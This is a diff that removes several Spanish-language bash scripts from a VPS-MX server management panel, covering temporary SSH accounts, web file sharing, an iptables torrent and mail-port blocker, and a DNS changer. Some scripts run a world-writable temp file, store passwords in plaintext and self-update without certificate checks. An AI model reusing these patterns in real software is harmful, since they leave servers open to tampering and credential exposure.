- then
- echo -e "\033[1;31mUsuario $name ya existe\033[0m"
- exit
- fi
- echo -e "\033[1;91m [2]-\033[1;97mContraseña para usuario $name:\033[0;37m"; read -p " " pass
- echo -e "\033[1;91m [3]-\033[1;97mTiempo de Duración En Minutos:\033[0;37m"; read -p " " tmp
- if [ "$tmp" = "" ]; then
- tmp="30"
- echo -e "\033[1;32mFue Definido 30 minutos Por Defecto!\033[0m"
- msg -bar
- sleep 2s
- fi
- useradd -M -s /bin/false $name
- (echo $pass; echo $pass)|passwd $name 2>/dev/null
- touch /tmp/$name
- tmpusr $tmp $name
- chmod 777 /tmp/$name
- touch /tmp/cmd
- chmod 777 /tmp/cmd
- echo "nohup /tmp/$name & >/dev/null" > /tmp/cmd
- /tmp/cmd 2>/dev/null 1>/dev/null
- rm -rf /tmp/cmd
- touch /etc/VPS-MX/demo-ssh/$name
- echo "senha: $pass" >> /etc/VPS-MX/demo-ssh/$name
- echo "data: ($tmp)Minutos" >> /etc/VPS-MX/demo-ssh/$name
- msg -bar2
- echo -e "\033[1;93m ¡¡ USUARIO TEMPORAL x MINUTOS (VPS-MX By @Kalix1) !!\033[0m"
- msg -bar2
- echo -e "\033[1;36m  >> IP del Servidor: \033[0m$(meu_ip) " 
- echo -e "\033[1;36m  >> Usuario: \033[0m$name"
- echo -e "\033[1;36m  >> Contraseña: \033[0m$pass"
- echo -e "\033[1;36m  >> Minutos de Duración: \033[0m$tmp"
- msg -bar2
- msg -ne " Enter Para Continuar" && read enter
- ${SCPusr}/usercodes
- 
-  

+ 0 - 97
SCRIPT-v8.5x Mod/VPS-MX/herramientas/apacheon.sh

@@ -1,97 +0,0 @@
-#!/bin/bash
-#26/01/2021
-clear
-clear
-declare -A cor=([0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m")
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-fun_ip() {
-	MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
-	MEU_IP2=$(wget -qO- ipv4.icanhazip.com)
-	[[ "$MEU_IP" != "$MEU_IP2" ]] && echo "$MEU_IP2" || echo "$MEU_IP"
-}
-IP="$(fun_ip)"
-msg -bar
-msg -tit
-echo -e "\033[1;96m           Gestor de Archivos FTP VPS•MX"
-msg -bar
-echo -e "${cor[4]} [1] >${cor[3]} $(fun_trans "Colocar Archivo Online")"
-echo -e "${cor[4]} [2] >${cor[3]} $(fun_trans "Remover Archivo Online")"
-echo -e "${cor[4]} [3] >${cor[3]} $(fun_trans "Ver Links de Archivos Online")"
-msg -bar
-while [[ ${arquivoonlineadm} != @([1-3]) ]]; do
-	read -p "[1-3]: " arquivoonlineadm
-	tput cuu1 && tput dl1
-done
-case ${arquivoonlineadm} in
-3)
-	[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || {
-		for my_arqs in $(ls /var/www/html); do
-			[[ "$my_arqs" = "index.html" ]] && continue
-			[[ "$my_arqs" = "index.php" ]] && continue
-			[[ -d "$my_arqs" ]] && continue
-			echo -e "\033[1;31m[$my_arqs] \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
-		done
-		msg -bar
-	}
-	;;
-2)
-	i=1
-	[[ -z $(ls /var/www/html) ]] && echo -e "$barra" || {
-		for my_arqs in $(ls /var/www/html); do
-			[[ "$my_arqs" = "index.html" ]] && continue
-			[[ "$my_arqs" = "index.php" ]] && continue
-			[[ -d "$my_arqs" ]] && continue
-			select_arc[$i]="$my_arqs"
-			echo -e "${cor[2]}[$i] > ${cor[3]}$my_arqs - \033[1;36mhttp://$IP:81/$my_arqs\033[0m"
-			let i++
-		done
-		msg -bar
-		echo -e "${cor[5]}$(fun_trans "Seleccione el archivo que desea borrar")"
-		msg -bar
-		while [[ -z ${select_arc[$slct]} ]]; do
-			read -p " [1-$i]: " slct
-			tput cuu1 && tput dl1
-		done
-		arquivo_move="${select_arc[$slct]}"
-		[[ -d /var/www/html ]] && [[ -e /var/www/html/$arquivo_move ]] && rm -rf /var/www/html/$arquivo_move >/dev/null 2>&1
-		[[ -e /var/www/$arquivo_move ]] && rm -rf /var/www/$arquivo_move >/dev/null 2>&1
-		echo -e "${cor[5]}$(fun_trans "Exito!")"
-		msg -bar
-	}
-	;;
-1)
-	i="1"
-	[[ -z $(ls $HOME) ]] && echo -e "$barra" || {
-		for my_arqs in $(ls $HOME); do
-			[[ -d "$my_arqs" ]] && continue
-			select_arc[$i]="$my_arqs"
-			echo -e "${cor[2]} [$i] > ${cor[3]}$my_arqs"
-			let i++
-		done
-		i=$(($i - 1))
-		msg -bar
-		echo -e "${cor[5]}$(fun_trans "Seleccione el archivo")"
-		msg -bar
-		while [[ -z ${select_arc[$slct]} ]]; do
-			read -p " [1-$i]: " slct
-			tput cuu1 && tput dl1
-		done
-		arquivo_move="${select_arc[$slct]}"
-		[ ! -d /var ] && mkdir /var
-		[ ! -d /var/www ] && mkdir /var/www
-		[ ! -d /var/www/html ] && mkdir /var/www/html
-		[ ! -e /var/www/html/index.html ] && touch /var/www/html/index.html
-		[ ! -e /var/www/index.html ] && touch /var/www/index.html
-		chmod -R 755 /var/www
-		cp $HOME/$arquivo_move /var/www/$arquivo_move
-		cp $HOME/$arquivo_move /var/www/html/$arquivo_move
-		echo -e "\033[1;36m http://$IP:81/$arquivo_move\033[0m"
-		msg -bar
-		echo -e "${cor[5]}$(fun_trans "Exito!")"
-		msg -bar
-	}
-	;;
-esac

+ 0 - 537
SCRIPT-v8.5x Mod/VPS-MX/herramientas/blockBT.sh

@@ -1,537 +0,0 @@
-#!/bin/bash
- #19/12/19
- PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
- export PATH
- declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
- SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
- SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
- SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
- SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
- 
- sh_ver="1.0.11"
- Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m"
- Info="${Green_font_prefix}[Informacion]${Font_color_suffix}"
- Error="${Red_font_prefix}[Error]${Font_color_suffix}"
- 
- smtp_port="25,26,465,587"
- pop3_port="109,110,995"
- imap_port="143,218,220,993"
- other_port="24,50,57,105,106,158,209,1109,24554,60177,60179"
- bt_key_word="torrent
- .torrent
- peer_id=
- announce
- info_hash
- get_peers
- find_node
- BitTorrent
- announce_peer
- BitTorrent protocol
- announce.php?passkey=
- magnet:
- xunlei
- sandai
- Thunder
- XLLiveUD"
- 
- check_sys(){
- 	if [[ -f /etc/redhat-release ]]; then
- 		release="centos"
- 	elif cat /etc/issue | grep -q -E -i "debian"; then
- 		release="debian"
- 	elif cat /etc/issue | grep -q -E -i "ubuntu"; then
- 		release="ubuntu"
- 	elif cat /etc/issue | grep -q -E -i "centos|red hat|redhat"; then
- 		release="centos"
- 	elif cat /proc/version | grep -q -E -i "debian"; then
- 		release="debian"
- 	elif cat /proc/version | grep -q -E -i "ubuntu"; then
- 		release="ubuntu"
- 	elif cat /proc/version | grep -q -E -i "centos|red hat|redhat"; then
- 		release="centos"
-     fi
- 	bit=`uname -m`
- }
- check_BT(){
- 	Cat_KEY_WORDS
- 	BT_KEY_WORDS=$(echo -e "$Ban_KEY_WORDS_list"|grep "torrent")
- }
- check_SPAM(){
- 	Cat_PORT
- 	SPAM_PORT=$(echo -e "$Ban_PORT_list"|grep "${smtp_port}")
- }
- Cat_PORT(){
- 	Ban_PORT_list=$(iptables -t filter -L OUTPUT -nvx --line-numbers|grep "REJECT"|awk '{print $13}')
- }
- Cat_KEY_WORDS(){
- 	Ban_KEY_WORDS_list=""
- 	Ban_KEY_WORDS_v6_list=""
- 	if [[ ! -z ${v6iptables} ]]; then
- 		Ban_KEY_WORDS_v6_text=$(${v6iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
- 		Ban_KEY_WORDS_v6_list=$(echo -e "${Ban_KEY_WORDS_v6_text}"|sed -r 's/.*\"(.+)\".*/\1/')
- 	fi
- 	Ban_KEY_WORDS_text=$(${v4iptables} -t mangle -L OUTPUT -nvx --line-numbers|grep "DROP")
- 	Ban_KEY_WORDS_list=$(echo -e "${Ban_KEY_WORDS_text}"|sed -r 's/.*\"(.+)\".*/\1/')
- }
- View_PORT(){
- 	Cat_PORT
- 	echo -e "========${Red_background_prefix} Puerto Bloqueado Actualmente ${Font_color_suffix}========="
- 	echo -e "$Ban_PORT_list" && echo && echo -e "==============================================="
- }
- View_KEY_WORDS(){
- 	Cat_KEY_WORDS
- 	echo -e "============${Red_background_prefix} Actualmente Prohibido ${Font_color_suffix}============"
- 	echo -e "$Ban_KEY_WORDS_list" && echo -e "==============================================="
- }
- View_ALL(){
- 	echo
- 	View_PORT
- 	View_KEY_WORDS
- 	echo
- 	msg -bar2
- }
- Save_iptables_v4_v6(){
- 	if [[ ${release} == "centos" ]]; then
- 		if [[ ! -z "$v6iptables" ]]; then
- 			service ip6tables save
- 			chkconfig --level 2345 ip6tables on
- 		fi
- 		service iptables save
- 		chkconfig --level 2345 iptables on
- 	else
- 		if [[ ! -z "$v6iptables" ]]; then
- 			ip6tables-save > /etc/ip6tables.up.rules
- 			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules\n/sbin/ip6tables-restore < /etc/ip6tables.up.rules" > /etc/network/if-pre-up.d/iptables
- 		else
- 			echo -e "#!/bin/bash\n/sbin/iptables-restore < /etc/iptables.up.rules" > /etc/network/if-pre-up.d/iptables
- 		fi
- 		iptables-save > /etc/iptables.up.rules
- 		chmod +x /etc/network/if-pre-up.d/iptables
- 	fi
- }
- Set_key_word() { $1 -t mangle -$3 OUTPUT -m string --string "$2" --algo bm --to 65535 -j DROP; }
- Set_tcp_port() {
- 	[[ "$1" = "$v4iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with icmp-port-unreachable
- 	[[ "$1" = "$v6iptables" ]] && $1 -t filter -$3 OUTPUT -p tcp -m multiport --dports "$2" -m state --state NEW,ESTABLISHED -j REJECT --reject-with tcp-reset
- }
- Set_udp_port() { $1 -t filter -$3 OUTPUT -p udp -m multiport --dports "$2" -j DROP; }
- Set_SPAM_Code_v4(){
- 	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
- 		do
- 		Set_tcp_port $v4iptables "$i" $s
- 		Set_udp_port $v4iptables "$i" $s
- 	done
- }
- Set_SPAM_Code_v4_v6(){
- 	for i in ${smtp_port} ${pop3_port} ${imap_port} ${other_port}
- 	do
- 		for j in $v4iptables $v6iptables
- 		do
- 			Set_tcp_port $j "$i" $s
- 			Set_udp_port $j "$i" $s
- 		done
- 	done
- }
- Set_PORT(){
- 	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
- 		Set_tcp_port $v4iptables $PORT $s
- 		Set_udp_port $v4iptables $PORT $s
- 		Set_tcp_port $v6iptables $PORT $s
- 		Set_udp_port $v6iptables $PORT $s
- 	elif [[ -n "$v4iptables" ]]; then
- 		Set_tcp_port $v4iptables $PORT $s
- 		Set_udp_port $v4iptables $PORT $s
- 	fi
- 	Save_iptables_v4_v6
- }
- Set_KEY_WORDS(){
- 	key_word_num=$(echo -e "${key_word}"|wc -l)
- 	for((integer = 1; integer <= ${key_word_num}; integer++))
- 		do
- 			i=$(echo -e "${key_word}"|sed -n "${integer}p")
- 			Set_key_word $v4iptables "$i" $s
- 			[[ ! -z "$v6iptables" ]] && Set_key_word $v6iptables "$i" $s
- 	done
- 	Save_iptables_v4_v6
- }
- Set_BT(){
- 	key_word=${bt_key_word}
- 	Set_KEY_WORDS
- 	Save_iptables_v4_v6
- }
- Set_SPAM(){
- 	if [[ -n "$v4iptables" ]] && [[ -n "$v6iptables" ]]; then
- 		Set_SPAM_Code_v4_v6
- 	elif [[ -n "$v4iptables" ]]; then
- 		Set_SPAM_Code_v4
- 	fi
- 	Save_iptables_v4_v6
- }
- Set_ALL(){
- 	Set_BT
- 	Set_SPAM
- }
- Ban_BT(){
- 	check_BT
- 	[[ ! -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent bloqueados y Palabras Claves, no es\nnecesario volver a prohibirlas !" && msg -bar2 && exit 0
- 	s="A"
- 	Set_BT
- 	View_ALL
- 	echo -e "${Info} Torrent bloqueados y Palabras Claves !"
- 	msg -bar2
- }
- Ban_SPAM(){
- 	check_SPAM
- 	[[ ! -z ${SPAM_PORT} ]] && echo -e "${Error} Se detectó un puerto SPAM bloqueado, no es\nnecesario volver a bloquear !" && msg -bar2 && exit 0
- 	s="A"
- 	Set_SPAM
- 	View_ALL
- 	echo -e "${Info} Puertos SPAM Bloqueados !"
- 	msg -bar2
- }
- Ban_ALL(){
- 	check_BT
- 	check_SPAM
- 	s="A"
- 	if [[ -z ${BT_KEY_WORDS} ]]; then
- 		if [[ -z ${SPAM_PORT} ]]; then
- 			Set_ALL
- 			View_ALL
- 			echo -e "${Info} Torrent bloqueados, Palabras Claves y Puertos SPAM !"
- 			msg -bar2
- 		else
- 			Set_BT
- 			View_ALL
- 			echo -e "${Info} Torrent bloqueados y Palabras Claves !"
- 		fi
- 	else
- 		if [[ -z ${SPAM_PORT} ]]; then
- 			Set_SPAM
- 			View_ALL
- 			echo -e "${Info} Puerto SPAM (spam) prohibido !"
- 		else
- 			echo -e "${Error} Torrent Bloqueados, Palabras Claves y Puertos SPAM,\nno es necesario volver a prohibir !" && msg -bar2 && exit 0
- 		fi
- 	fi
- }
- UnBan_BT(){
- 	check_BT
- 	[[ -z ${BT_KEY_WORDS} ]] && echo -e "${Error} Torrent y Palabras Claves no bloqueadas, verifique !"&& msg -bar2 && exit 0
- 	s="D"
- 	Set_BT
- 	View_ALL
- 	echo -e "${Info} Torrent Desbloqueados y Palabras Claves !"
- 	msg -bar2
- }
- UnBan_SPAM(){
- 	check_SPAM
- 	[[ -z ${SPAM_PORT} ]] && echo -e "${Error} Puerto SPAM no detectados, verifique !" && msg -bar2 && exit 0
- 	s="D"
- 	Set_SPAM
- 	View_ALL
- 	echo -e "${Info} Puertos de SPAM Desbloqueados !"
- 	msg -bar2
- }
- UnBan_ALL(){
- 	check_BT
- 	check_SPAM
- 	s="D"
- 	if [[ ! -z ${BT_KEY_WORDS} ]]; then
- 		if [[ ! -z ${SPAM_PORT} ]]; then
- 			Set_ALL
- 			View_ALL
- 			echo -e "${Info} Torrent, Palabras Claves y Puertos SPAM Desbloqueados !"
- 			msg -bar2
- 		else
- 			Set_BT
- 			View_ALL
- 			echo -e "${Info} Torrent, Palabras Claves Desbloqueados !"
- 			msg -bar2
- 		fi
- 	else
- 		if [[ ! -z ${SPAM_PORT} ]]; then
- 			Set_SPAM
- 			View_ALL
- 			echo -e "${Info} Puertos SPAM Desbloqueados !"
- 			msg -bar2
- 		else
- 			echo -e "${Error} No se  detectan Torrent, Palabras Claves y Puertos SPAM Bloqueados, verifique !" && msg -bar2 && exit 0
- 		fi
- 	fi
- }
- ENTER_Ban_KEY_WORDS_type(){
- 	Type=$1
- 	Type_1=$2
- 	if [[ $Type_1 != "ban_1" ]]; then
- 		echo -e "Por favor seleccione un tipo de entrada:
- 		
-  1. Entrada manual (solo se admiten palabras clave únicas)
-  
-  2. Lectura local de archivos (admite lectura por lotes de palabras clave, una palabra clave por línea)
-  
-  3. Lectura de dirección de red (admite lectura por lotes de palabras clave, una palabra clave por línea)" && echo
- 		read -e -p "(Por defecto: 1. Entrada manual):" key_word_type
- 	fi
- 	[[ -z "${key_word_type}" ]] && key_word_type="1"
- 	if [[ ${key_word_type} == "1" ]]; then
- 		if [[ $Type == "ban" ]]; then
- 			ENTER_Ban_KEY_WORDS
- 		else
- 			ENTER_UnBan_KEY_WORDS
- 		fi
- 	elif [[ ${key_word_type} == "2" ]]; then
- 		ENTER_Ban_KEY_WORDS_file
- 	elif [[ ${key_word_type} == "3" ]]; then
- 		ENTER_Ban_KEY_WORDS_url
- 	else
- 		if [[ $Type == "ban" ]]; then
- 			ENTER_Ban_KEY_WORDS
- 		else
- 			ENTER_UnBan_KEY_WORDS
- 		fi
- 	fi
- }
- ENTER_Ban_PORT(){
- 	echo -e "Ingrese el puerto que Bloqueará:\n(segmento de Puerto único / Puerto múltiple / Puerto continuo)\n"
- 	if [[ ${Ban_PORT_Type_1} != "1" ]]; then
- 	echo -e "
- 	${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
- 	
-  -Puerto único: 25 (puerto único)
-  
-  -Multipuerto: 25, 26, 465, 587 (varios puertos están separados por comas)
- 
-  -Segmento de puerto continuo: 25: 587 (todos los puertos entre 25-587)" && echo
- 	fi
- 	read -e -p "(Intro se cancela por defecto):" PORT
- 	[[ -z "${PORT}" ]] && echo "Cancelado..." && View_ALL && exit 0
- }
- ENTER_Ban_KEY_WORDS(){
-     msg -bar2
- 	echo -e "Ingrese las palabras clave que se prohibirán\n(nombre de dominio, etc., solo admite una sola palabra clave)"
- 	if [[ ${Type_1} != "ban_1" ]]; then
- 	echo ""
- 	echo -e "${Green_font_prefix}======== Ejemplo Descripción ========${Font_color_suffix}
- 	
-  -Palabras clave: youtube, que prohíbe el acceso a cualquier nombre de dominio que contenga la palabra clave youtube.
-  
-  -Palabras clave: youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de nombre de pan-dominio) que contenga la palabra clave youtube.com.
- 
-  -Palabras clave: www.youtube.com, que prohíbe el acceso a cualquier nombre de dominio (máscara de subdominio) que contenga la palabra clave www.youtube.com.
- 
-  -Autoevaluación de más efectos (como la palabra clave .zip se puede usar para deshabilitar la descarga de cualquier archivo de sufijo .zip)." && echo
- 	fi
- 	read -e -p "(Intro se cancela por defecto):" key_word
- 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
- }
- ENTER_Ban_KEY_WORDS_file(){
- 	echo -e "Ingrese el archivo local de palabras clave que se prohibirá / desbloqueará (utilice la ruta absoluta)" && echo
- 	read -e -p "(El valor predeterminado es leer key_word.txt en el mismo directorio que el script):" key_word
- 	[[ -z "${key_word}" ]] && key_word="key_word.txt"
- 	if [[ -e "${key_word}" ]]; then
- 		key_word=$(cat "${key_word}")
- 		[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo está vacío. !" && View_ALL && exit 0
- 	else
- 		echo -e "${Error} Archivo no encontrado ${key_word} !" && View_ALL && exit 0
- 	fi
- }
- ENTER_Ban_KEY_WORDS_url(){
- 	echo -e "Ingrese la dirección del archivo de red de palabras clave que se prohibirá / desbloqueará (por ejemplo, http: //xxx.xx/key_word.txt)" && echo
- 	read -e -p "(Intro se cancela por defecto):" key_word
- 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
- 	key_word=$(wget --no-check-certificate -t3 -T5 -qO- "${key_word}")
- 	[[ -z ${key_word} ]] && echo -e "${Error} El contenido del archivo de red está vacío o se agotó el tiempo de acceso !" && View_ALL && exit 0
- }
- ENTER_UnBan_KEY_WORDS(){
- 	View_KEY_WORDS
- 	echo -e "Ingrese la palabra clave que desea desbloquear (ingrese la palabra clave completa y precisa de acuerdo con la lista anterior)" && echo
- 	read -e -p "(Intro se cancela por defecto):" key_word
- 	[[ -z "${key_word}" ]] && echo "Cancelado ..." && View_ALL && exit 0
- }
- ENTER_UnBan_PORT(){
- 	echo -e "Ingrese el puerto que desea desempaquetar:\n(ingrese el puerto completo y preciso de acuerdo con la lista anterior, incluyendo comas, dos puntos)" && echo
- 	read -e -p "(Intro se cancela por defecto):" PORT
- 	[[ -z "${PORT}" ]] && echo "Cancelado ..." && View_ALL && exit 0
- }
- Ban_PORT(){
- 	s="A"
- 	ENTER_Ban_PORT
- 	Set_PORT
- 	echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
- 	Ban_PORT_Type_1="1"
- 	while true
- 	do
- 		ENTER_Ban_PORT
- 		Set_PORT
- 		echo -e "${Info} Puerto bloqueado [ ${PORT} ] !\n"
- 	done
- 	View_ALL
- }
- Ban_KEY_WORDS(){
- 	s="A"
- 	ENTER_Ban_KEY_WORDS_type "ban"
- 	Set_KEY_WORDS
- 	echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
- 	while true
- 	do
- 		ENTER_Ban_KEY_WORDS_type "ban" "ban_1"
- 		Set_KEY_WORDS
- 		echo -e "${Info} Palabras clave bloqueadas [ ${key_word} ] !\n"
- 	done
- 	View_ALL
- }
- UnBan_PORT(){
- 	s="D"
- 	View_PORT
- 	[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} Se detecta cualquier puerto no bloqueado !" && exit 0
- 	ENTER_UnBan_PORT
- 	Set_PORT
- 	echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
- 	while true
- 	do
- 		View_PORT
- 		[[ -z ${Ban_PORT_list} ]] && echo -e "${Error} No se detecta puertos bloqueados !" && msg -bar2 && exit 0
- 		ENTER_UnBan_PORT
- 		Set_PORT
- 		echo -e "${Info} Puerto decapsulado [ ${PORT} ] !\n"
- 	done
- 	View_ALL
- }
- UnBan_KEY_WORDS(){
- 	s="D"
- 	Cat_KEY_WORDS
- 	[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && exit 0
- 	ENTER_Ban_KEY_WORDS_type "unban"
- 	Set_KEY_WORDS
- 	echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
- 	while true
- 	do
- 		Cat_KEY_WORDS
- 		[[ -z ${Ban_KEY_WORDS_list} ]] && echo -e "${Error} No se ha detectado ningún bloqueo !" && msg -bar2 && exit 0
- 		ENTER_Ban_KEY_WORDS_type "unban" "ban_1"
- 		Set_KEY_WORDS
- 		echo -e "${Info} Palabras clave desbloqueadas [ ${key_word} ] !\n"
- 	done
- 	View_ALL
- }
- UnBan_KEY_WORDS_ALL(){
- 	Cat_KEY_WORDS
- 	[[ -z ${Ban_KEY_WORDS_text} ]] && echo -e "${Error} No se detectó ninguna clave, verifique !" && msg -bar2 && exit 0
- 	if [[ ! -z "${v6iptables}" ]]; then
- 		Ban_KEY_WORDS_v6_num=$(echo -e "${Ban_KEY_WORDS_v6_list}"|wc -l)
- 		for((integer = 1; integer <= ${Ban_KEY_WORDS_v6_num}; integer++))
- 			do
- 				${v6iptables} -t mangle -D OUTPUT 1
- 		done
- 	fi
- 	Ban_KEY_WORDS_num=$(echo -e "${Ban_KEY_WORDS_list}"|wc -l)
- 	for((integer = 1; integer <= ${Ban_KEY_WORDS_num}; integer++))
- 		do
- 			${v4iptables} -t mangle -D OUTPUT 1
- 	done
- 	Save_iptables_v4_v6
- 	View_ALL
- 	echo -e "${Info} Todas las palabras clave han sido desbloqueadas !"
- }
- check_iptables(){
- 	v4iptables=`iptables -V`
- 	v6iptables=`ip6tables -V`
- 	if [[ ! -z ${v4iptables} ]]; then
- 		v4iptables="iptables"
- 		if [[ ! -z ${v6iptables} ]]; then
- 			v6iptables="ip6tables"
- 		fi
- 	else
- 		echo -e "${Error} El firewall de iptables no está instalado !
- Por favor, instale el firewall de iptables:
- CentOS Sistema: yum install iptables -y
- Debian / Ubuntu Sistema: apt-get install iptables -y"
- 	fi
- }
- Update_Shell(){
- 	sh_new_ver=$(wget --no-check-certificate -qO- -t1 -T3 "https://www.dropbox"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1)
- 	[[ -z ${sh_new_ver} ]] && echo -e "${Error} No se puede vincular a Github !" && exit 0
- 	wget https://www.dropbox.com/s/xle -O /etc/ger-frm/blockBT.sh &> /dev/null
- 	chmod +x /etc/ger-frm/blockBT.sh
- 	echo -e "El script ha sido actualizado a la última versión.[ ${sh_new_ver} ]"
- 	msg -bar2 
- 	exit 0
- }
- check_sys
- check_iptables
- action=$1
- if [[ ! -z $action ]]; then
- 	[[ $action = "banbt" ]] && Ban_BT && exit 0
- 	[[ $action = "banspam" ]] && Ban_SPAM && exit 0
- 	[[ $action = "banall" ]] && Ban_ALL && exit 0
- 	[[ $action = "unbanbt" ]] && UnBan_BT && exit 0
- 	[[ $action = "unbanspam" ]] && UnBan_SPAM && exit 0
- 	[[ $action = "unbanall" ]] && UnBan_ALL && exit 0
- fi
- clear
- clear
- msg -bar
- echo  -e "$(msg -tit) " 
- echo -e "  Panel de Firewall VPS•MX By @Kalix1 ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix}"
- msg -bar2
- echo -e "  ${Green_font_prefix}0.${Font_color_suffix} Ver la lista actual de prohibidos
- ————————————
-   ${Green_font_prefix}1.${Font_color_suffix} Bloquear Torrent, Palabras Clave
-   ${Green_font_prefix}2.${Font_color_suffix} Bloquear Puertos SPAM 
-   ${Green_font_prefix}3.${Font_color_suffix} Bloquear Torrent, Palabras Clave + Puertos SPAM
-   ${Green_font_prefix}4.${Font_color_suffix} Bloquear Puerto personalizado
-   ${Green_font_prefix}5.${Font_color_suffix} Bloquear Palabras Clave Personalizadas
- ————————————
-   ${Green_font_prefix}6.${Font_color_suffix} Desbloquear Torrent, Palabras Clave
-   ${Green_font_prefix}7.${Font_color_suffix} Desbloquear Puertos SPAM
-   ${Green_font_prefix}8.${Font_color_suffix} Desbloquear Torrent, Palabras Clave , Puertos SPAM
-   ${Green_font_prefix}9.${Font_color_suffix} Desbloquear Puerto Personalizado
-  ${Green_font_prefix}10.${Font_color_suffix} Desbloquear Palabra Clave Personalizadas
-  ${Green_font_prefix}11.${Font_color_suffix} Desbloquear Todas las palabras Clave Personalizadas
- ————————————
-  ${Green_font_prefix}12.${Font_color_suffix} Actualizar script" && msg -bar2
- read -e -p " Por favor ingrese un número [0-12]:" num && msg -bar2
- case "$num" in
- 	0)
- 	View_ALL
- 	;;
- 	1)
- 	Ban_BT
- 	;;
- 	2)
- 	Ban_SPAM
- 	;;
- 	3)
- 	Ban_ALL
- 	;;
- 	4)
- 	Ban_PORT
- 	;;
- 	5)
- 	Ban_KEY_WORDS
- 	;;
- 	6)
- 	UnBan_BT
- 	;;
- 	7)
- 	UnBan_SPAM
- 	;;
- 	8)
- 	UnBan_ALL
- 	;;
- 	9)
- 	UnBan_PORT
- 	;;
- 	10)
- 	UnBan_KEY_WORDS
- 	;;
- 	11)
- 	UnBan_KEY_WORDS_ALL
- 	;;
- 	12)
- 	Update_Shell
- 	;;
- 	*)
- 	echo "Por favor ingrese el número correcto [0-12]"
- 	;;
- esac 

+ 0 - 39
SCRIPT-v8.5x Mod/VPS-MX/herramientas/dns-netflix.sh

@@ -1,39 +0,0 @@
-# !/bin/bash
-# 27/01/2021
-clear
-clear
-declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" )
-SCPdir="/etc/VPS-MX" && [[ ! -d ${SCPdir} ]] && exit 1
-SCPusr="${SCPdir}/controlador" && [[ ! -d ${SCPusr} ]] && mkdir ${SCPusr}
-SCPfrm="${SCPdir}/herramientas" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-SCPinst="${SCPdir}/protocolos" && [[ ! -d ${SCPfrm} ]] && mkdir ${SCPfrm}
-dnsnetflix () {
-echo "nameserver $dnsp" > /etc/resolv.conf
-#echo "nameserver 8.8.8.8" >> /etc/resolv.conf
-/etc/init.d/ssrmu stop &>/dev/null
-/etc/init.d/ssrmu start &>/dev/null
-/etc/init.d/shadowsocks-r stop &>/dev/null
-/etc/init.d/shadowsocks-r start &>/dev/null
-msg -bar2
-echo -e "${cor[4]}  DNS AGREGADOS CON EXITO"
-} 
-clear
-msg -bar2
-msg -tit
-echo -e "\033[1;93m     AGREGARDOR DE DNS PERSONALES By @USA1_BOT "
-msg -bar2
-echo -e "\033[1;39m Esta funcion ara que puedas ver Netflix con tu VPS"
-msg -bar2
-echo -e "\033[1;91m ¡ Solo seran utiles si registraste tu IP en el BOT !"
-echo -e "\033[1;39m En APPS como HTTP Inyector,KPN Rev,APKCUSTOM, etc."
-echo -e "\033[1;39m Se deveran agregar en la aplicasion a usar estos DNS."
-echo -e "\033[1;39m En APPS como SS,SSR,V2RAY no es necesario agregarlos."
-msg -bar2
-echo -e "\033[1;93m Recuerde escojer entre 1 DNS ya sea el de USA,BR,MX,CL \n segun le aya entregado el BOT."
-echo ""
-echo -e "\033[1;97m Ingrese su DNS a usar: \033[0;91m"; read -p "   "  dnsp
-echo ""
-msg -bar2
-read -p " Estas seguro de continuar?  [ s | n ]: " dnsnetflix   
-[[ "$dnsnetflix" = "s" || "$dnsnetflix" = "S" ]] && dnsnetflix
-msg -bar2

+ 0 - 433
SCRIPT-v8.5x Mod/VPS-MX/herramientas/fai2ban.sh

